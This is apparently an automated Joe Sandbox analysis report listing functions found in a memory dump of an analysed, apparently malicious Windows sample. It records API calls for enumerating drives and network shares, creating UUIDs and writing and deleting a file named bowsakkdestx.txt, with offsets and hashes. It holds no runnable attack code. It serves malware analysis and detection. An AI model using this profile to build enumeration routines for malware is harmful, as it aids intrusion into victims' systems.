PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C539

Strings

bowsakkdestx.txt, xrefs: 0040C52D

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: Path$AppendFolder
String ID: bowsakkdestx.txt
API String ID: 29327785-2616962270
Opcode ID: ba6770418a514e061c64693ffdbf2edbdfd545916963a0667ce2a0b7d493bc5b
Instruction ID: a05810460da3035b09b2d6f50620da2975429261b58b3288bff945a9ad0f9da5
Opcode Fuzzy Hash: ba6770418a514e061c64693ffdbf2edbdfd545916963a0667ce2a0b7d493bc5b
Instruction Fuzzy Hash: 281127B2B4023833D930756A7C87FEB735C9B42725F4001B7FE0CA2182A5AE554501E9

Function 0041BA80 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(00000000,LPCWSTRszWindowClass,LPCWSTRszTitle,00CF0000,80000000,00000000,80000000,00000000,00000000,00000000,?,00000000), ref: 0041BAAD
ShowWindow.USER32(00000000,00000000), ref: 0041BABE
UpdateWindow.USER32(00000000), ref: 0041BAC5

Strings

LPCWSTRszTitle, xrefs: 0041BA9B
LPCWSTRszWindowClass, xrefs: 0041BAA0

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: Window$CreateShowUpdate
String ID: LPCWSTRszTitle$LPCWSTRszWindowClass
API String ID: 2944774295-3503800400
Opcode ID: a65d1e0183acb99785454671d95aa34da9e61ee796a7d373e4ca79d97c1a5a0d
Instruction ID: 93e3ae8c3ab6e4512016b3ef7200399996c0305a41779b72c5d02abe3f8cd5ff
Opcode Fuzzy Hash: a65d1e0183acb99785454671d95aa34da9e61ee796a7d373e4ca79d97c1a5a0d
Instruction Fuzzy Hash: 08E04F316C172077E3715B15BC5BFDA2918FB05F10F308119FA14792E0C6E569428A8C

Function 00410BD0 Relevance: 7.7, APIs: 5, Instructions: 234sharememoryCOMMON

Download Yara Rule

APIs

WNetOpenEnumW.MPR(00000002,00000000,00000000,?,?), ref: 00410C12
GlobalAlloc.KERNEL32(00000040,00004000,?,?), ref: 00410C39
_memset.LIBCMT ref: 00410C4C
WNetEnumResourceW.MPR(?,?,00000000,?), ref: 00410C63

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: Enum$AllocGlobalOpenResource_memset
String ID:
API String ID: 364255426-0
Opcode ID: c593f9ddfc12760f3eff0e8065bbbd6a980f194dc76d13cdd9d46ce453e91173
Instruction ID: bd97fe2cb621df6ca28f66a093f1f6e361520364a30ff1ea4190286e2c40543e
Opcode Fuzzy Hash: c593f9ddfc12760f3eff0e8065bbbd6a980f194dc76d13cdd9d46ce453e91173
Instruction Fuzzy Hash: 0F91B2756083418FD724DF55D891BABB7E1FF84704F14891EE48A87380E7B8A981CB5A

Function 004416EB Relevance: 7.6, APIs: 5, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 00441726
_strlen.LIBCMT ref: 00441734

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

_strnlen.LIBCMT ref: 004417BF
__lock.LIBCMT ref: 004417D0
__getenv_helper_nolock.LIBCMT ref: 004417DB

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__lock_strlen_strnlen
String ID:
API String ID: 2168648987-0
Opcode ID: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction ID: 706a9fbf285425ec29b4e33d2635255339e15eb248031f995e6227ac9da9c0f4
Opcode Fuzzy Hash: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction Fuzzy Hash: A131FC31741235ABEB216BA6EC02B9F76949F44B64F54015BF814DB391DF7CC88046AD

Function 00410A50 Relevance: 7.6, APIs: 5, Instructions: 104COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNEL32 ref: 00410A75
SetErrorMode.KERNEL32(00000001,00500234,00000002), ref: 00410AE2
PathFileExistsA.SHLWAPI(?), ref: 00410AF9
SetErrorMode.KERNEL32(00000000), ref: 00410B02
GetDriveTypeA.KERNEL32(?), ref: 00410B1B

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: ErrorMode$DriveDrivesExistsFileLogicalPathType
String ID:
API String ID: 2560635915-0
Opcode ID: 6431ecd4352623c8ea5b40f1f1ea1a8b08bc26eb066019d8721179985482c109
Instruction ID: e48b338c548d72163c5ae3f73f283317dfaad29deff82c686574d6b9df2ed0f8
Opcode Fuzzy Hash: 6431ecd4352623c8ea5b40f1f1ea1a8b08bc26eb066019d8721179985482c109
Instruction Fuzzy Hash: 6141F271108340DFC710DF69C885B8BBBE4BB85718F500A2EF089922A2D7B9D584CB97

Function 0043B6FF Relevance: 7.6, APIs: 5, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0043B70B

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: HeapAlloc.KERNEL32(008A0000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_free.LIBCMT ref: 0043B71E

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: AllocHeap_free_malloc
String ID:
API String ID: 2734353464-0
Opcode ID: ac30be484878ed1c1fbcd2781803b0d6d497061a6a5de6108b0294a208768cdb
Instruction ID: cebe638eb0ed40525ab660a1b273922ca7a171140340163af9fc546bca46de76
Opcode Fuzzy Hash: ac30be484878ed1c1fbcd2781803b0d6d497061a6a5de6108b0294a208768cdb
Instruction Fuzzy Hash: F411EB31504725EBCB202B76BC85B6A3784DF58364F50512BFA589A291DB3C88408ADC

Function 0041F070 Relevance: 7.5, APIs: 5, Instructions: 49windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(00000012,00000000,00000000), ref: 0041F085
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041F0AC
DispatchMessageW.USER32(?), ref: 0041F0B6
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041F0C4
WaitForSingleObject.KERNEL32(0000000A), ref: 0041F0D2

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 6d24f8cffcb6546f687f670e27dc83223b8af0f876a489368cdeea614c080f41
Instruction ID: 8330a25206e7a7c758b309db49295e470543d34b7ed76d4368c5dbe794fa98e6
Opcode Fuzzy Hash: 6d24f8cffcb6546f687f670e27dc83223b8af0f876a489368cdeea614c080f41
Instruction Fuzzy Hash: 5C01DB35A4030876EB30AB55EC86FD63B6DE744B00F148022FE04AB1E1D7B9A54ADB98

Function 0041E500 Relevance: 7.5, APIs: 5, Instructions: 49windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(00000012,00000000,00000000), ref: 0041E515
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041E53C
DispatchMessageW.USER32(?), ref: 0041E546
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041E554
WaitForSingleObject.KERNEL32(0000000A), ref: 0041E562

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: fff4340a71da7ea92c1385820b9327139908f6a11ddf48d1b12da68ebdd54261
Instruction ID: 59d9cfd0379212e31388a7928d285390ad7449125cd170d7d310b1f6820545b5
Opcode Fuzzy Hash: fff4340a71da7ea92c1385820b9327139908f6a11ddf48d1b12da68ebdd54261
Instruction Fuzzy Hash: 3301DB35B4030976E720AB51EC86FD67B6DE744B04F144011FE04AB1E1D7F9A549CB98

Function 0041FA40 Relevance: 7.5, APIs: 5, Instructions: 48windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 0041FA53
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FA71
DispatchMessageW.USER32(?), ref: 0041FA7B
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FA89
WaitForSingleObject.KERNEL32(?,0000000A,?,00000012,00000000,00000000), ref: 0041FA94

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction ID: 7dc02704ba958b7d98511173c4623a4fa8f2b4100db45197b38ae147ea501182
Opcode Fuzzy Hash: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction Fuzzy Hash: 6301AE31B4030577EB205B55DC86FA73B6DDB44B40F544061FB04EE1D1D7F9984587A4

Function 0041FDF0 Relevance: 7.5, APIs: 5, Instructions: 48windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 0041FE03
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FE21
DispatchMessageW.USER32(?), ref: 0041FE2B
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FE39
WaitForSingleObject.KERNEL32(?,0000000A,?,00000012,00000000,00000000), ref: 0041FE44

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction ID: d705e8d6a79994c6a13c6d22e65b3a6180ae01e64e8e6a22fa5ca061b0d405f5
Opcode Fuzzy Hash: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction Fuzzy Hash: 3501A931B80308B7EB205B95ED8AF973B6DEB44B00F144061FA04EF1E1D7F5A8468BA4

Function 00417BA0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 188COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00417C6A
_memmove.LIBCMT ref: 00417CD4

Strings

invalid string position, xrefs: 00417D2C
string too long, xrefs: 00417D36

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: b2c1af29de5962b74b57e5661815869f54c56e8a90a0ab9c91a19098a667a223
Instruction ID: 16eedd03d570a769cf24423414cb71a1906862ef28ca1dd771941f38c47b8a04
Opcode Fuzzy Hash: b2c1af29de5962b74b57e5661815869f54c56e8a90a0ab9c91a19098a667a223
Instruction Fuzzy Hash: C451C3317081089BDB24CE1CD980AAA77B6EF85714B24891FF856CB381DB35EDD18BD9

Function 00414160 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004141E4
_memmove.LIBCMT ref: 00414215

Strings

invalid string position, xrefs: 00414260
string too long, xrefs: 00414256

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 1860cadd0784f8812835e732d2f60387060861baec5cac242feb419a09eb11c6
Instruction ID: c789d4a5c221ce0c411dffae1b259be01e75b302f83ceaf2f45b858c9c7e4579
Opcode Fuzzy Hash: 1860cadd0784f8812835e732d2f60387060861baec5cac242feb419a09eb11c6
Instruction Fuzzy Hash: 3D311430300204ABDB28DE5CD8859AA77B6EFC17507600A5EF865CB381D739EDC18BAD

Function 00425341 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcsnlen.LIBCMT ref: 00425354

Strings

U, xrefs: 0042535D

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: _wcsnlen
String ID: U
API String ID: 3628947076-3372436214
Opcode ID: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction ID: 96f9a77ca4cc4fe958c434aa827cb810c13d5acf0ea92317e974609e7887e837
Opcode Fuzzy Hash: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction Fuzzy Hash: 6521C9717046286BEB10DAA5BC41BBB739CDB85750FD0416BFD08C6190EA79994046AD

Function 0045AD50 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0045AD72
_memset.LIBCMT ref: 0045AE15

Strings

C7F, xrefs: 0045AD51, 0045AD56, 0045AD69, 0045AE0B, 0045AE14
.\crypto\buffer\buffer.c, xrefs: 0045AD8B, 0045ADBE, 0045ADD0, 0045ADE7

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\buffer\buffer.c$C7F
API String ID: 2102423945-2013712220
Opcode ID: fce9da4f2685e8a546a1aead5558aa77959c7a2ce52c5fe1bdde6675f364ff59
Instruction ID: 54406e9f1970e0e1dce797ef07034894a3cffcceb7efccd845a222dac3d76e8e
Opcode Fuzzy Hash: fce9da4f2685e8a546a1aead5558aa77959c7a2ce52c5fe1bdde6675f364ff59
Instruction Fuzzy Hash: 91216DB1B443213BE200655DFC83B15B395EB84B19F104127FA18D72C2D2B8BC5982D9

Function 0040C5C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

UuidCreate.RPCRT4(?), ref: 0040C5DA
UuidToStringA.RPCRT4(?,?), ref: 0040C5F6
RpcStringFreeA.RPCRT4(?), ref: 0040C640

Strings

8a4577dc-de55-4eb5-b48a-8a3eee60cd95, xrefs: 0040C687

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: StringUuid$CreateFree
String ID: 8a4577dc-de55-4eb5-b48a-8a3eee60cd95
API String ID: 3044360575-2335240114
Opcode ID: 5898d431aa7bc51d8275c67bd3d0945cf80b17b08d4c1006f571a635e441fa64
Instruction ID: 0eb901185732211e3be4e37390737b2086ad5c5ed8a4bd7d6c842829bf201ec1
Opcode Fuzzy Hash: 5898d431aa7bc51d8275c67bd3d0945cf80b17b08d4c1006f571a635e441fa64
Instruction Fuzzy Hash: 6C21D771208341ABD7209F24D844B9BBBE8AF81758F004E6FF88993291D77A9549879A

Function 0040C470 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C48B
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C4A9

Strings

bowsakkdestx.txt, xrefs: 0040C49D

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: Path$AppendFolder
String ID: bowsakkdestx.txt
API String ID: 29327785-2616962270
Opcode ID: cacc9ec5c69f508a09e097335cbe8ae863f85dc58f645bd4f6fa7f4b17594c00
Instruction ID: 3b6c08389df4e48a430741a1ce4ce94f3584f996b8880ee9781e1533d320f445
Opcode Fuzzy Hash: cacc9ec5c69f508a09e097335cbe8ae863f85dc58f645bd4f6fa7f4b17594c00
Instruction Fuzzy Hash: 8701DB72B8022873D9306A557C86FFB775C9F51721F0001B7FE08D6181E5E9554646D5

Function 00423B4C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00423B64

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: HeapAlloc.KERNEL32(008A0000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

std::exception::exception.LIBCMT ref: 00423B82
__CxxThrowException@8.LIBCMT ref: 00423B97

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

Strings

bad allocation, xrefs: 00423B77

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: AllocExceptionException@8HeapRaiseThrow_mallocstd::exception::exception
String ID: bad allocation
API String ID: 1059622496-2104205924
Opcode ID: eeb942be7a8daecd01f402b1fc71538ff316d088b395842a07765e87b7e27695
Instruction ID: 445f5c97f97310cbd08f0009147839d9c604c92f3643d32107fe893a2d7397f3
Opcode Fuzzy Hash: eeb942be7a8daecd01f402b1fc71538ff316d088b395842a07765e87b7e27695
Instruction Fuzzy Hash: 74F0F97560022D66CB00AF99EC56EDE7BECDF04315F40456FFC04A2282DBBCAA4486DD

Function 0041BA10 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 24registryCOMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F00), ref: 0041BA4A
RegisterClassExW.USER32(00000030), ref: 0041BA73

Strings

LPCWSTRszWindowClass, xrefs: 0041BA65
0, xrefs: 0041BA1D

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: ClassCursorLoadRegister
String ID: 0$LPCWSTRszWindowClass
API String ID: 1693014935-1496217519
Opcode ID: fbf28ebe5b3b724a216796b7602f5ba5b22e3d17e3910e7f530213bb4edbfbf6
Instruction ID: 39b267f2af3e8e8601893d5e13e9f0aceec8bb1d15aa8544f670d774de374bdc
Opcode Fuzzy Hash: fbf28ebe5b3b724a216796b7602f5ba5b22e3d17e3910e7f530213bb4edbfbf6
Instruction Fuzzy Hash: 64F0AFB0C042089BEB00DF90D9597DEBBB8BB08308F108259D8187A280D7BA1608CFD9

Function 0040C420 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C438
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C44E
DeleteFileA.KERNEL32(?), ref: 0040C45B

Strings

bowsakkdestx.txt, xrefs: 0040C442

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: Path$AppendDeleteFileFolder
String ID: bowsakkdestx.txt
API String ID: 610490371-2616962270
Opcode ID: 51c9fbb63abd04c953cc1c90cd388c2580edec88c84091088bf86cba3f20ed90
Instruction ID: 22f96f022367e4ecd8cb06d74e3ea6c1a096c1ee21cc35b9366b07434c4c4e8f
Opcode Fuzzy Hash: 51c9fbb63abd04c953cc1c90cd388c2580edec88c84091088bf86cba3f20ed90
Instruction Fuzzy Hash: 60E0807564031C67DB109B60DCC9FD5776C9B04B01F0000B2FF48D10D1D6B495444E55

Function 00419E70 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00419EB8
_memset.LIBCMT ref: 00419EC9
_memset.LIBCMT ref: 00419EDA

Strings

p2Q, xrefs: 00419EE2

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: _memset
String ID: p2Q
API String ID: 2102423945-1521255505
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: 738f0ca8778653557991c93ab9a04937910ac7dae49cf0696bf478295a84fdc8
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: C5F03028684750A5F7107750BC667953EC1A735B08F404048E1142A3E2D7FD338C63DD

Function 0040ECB0 Relevance: 6.2, APIs: 4, Instructions: 204COMMON

Download Yara Rule

APIs

_strtok.LIBCMT ref: 0040ED66
_memmove.LIBCMT ref: 0040EE25

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

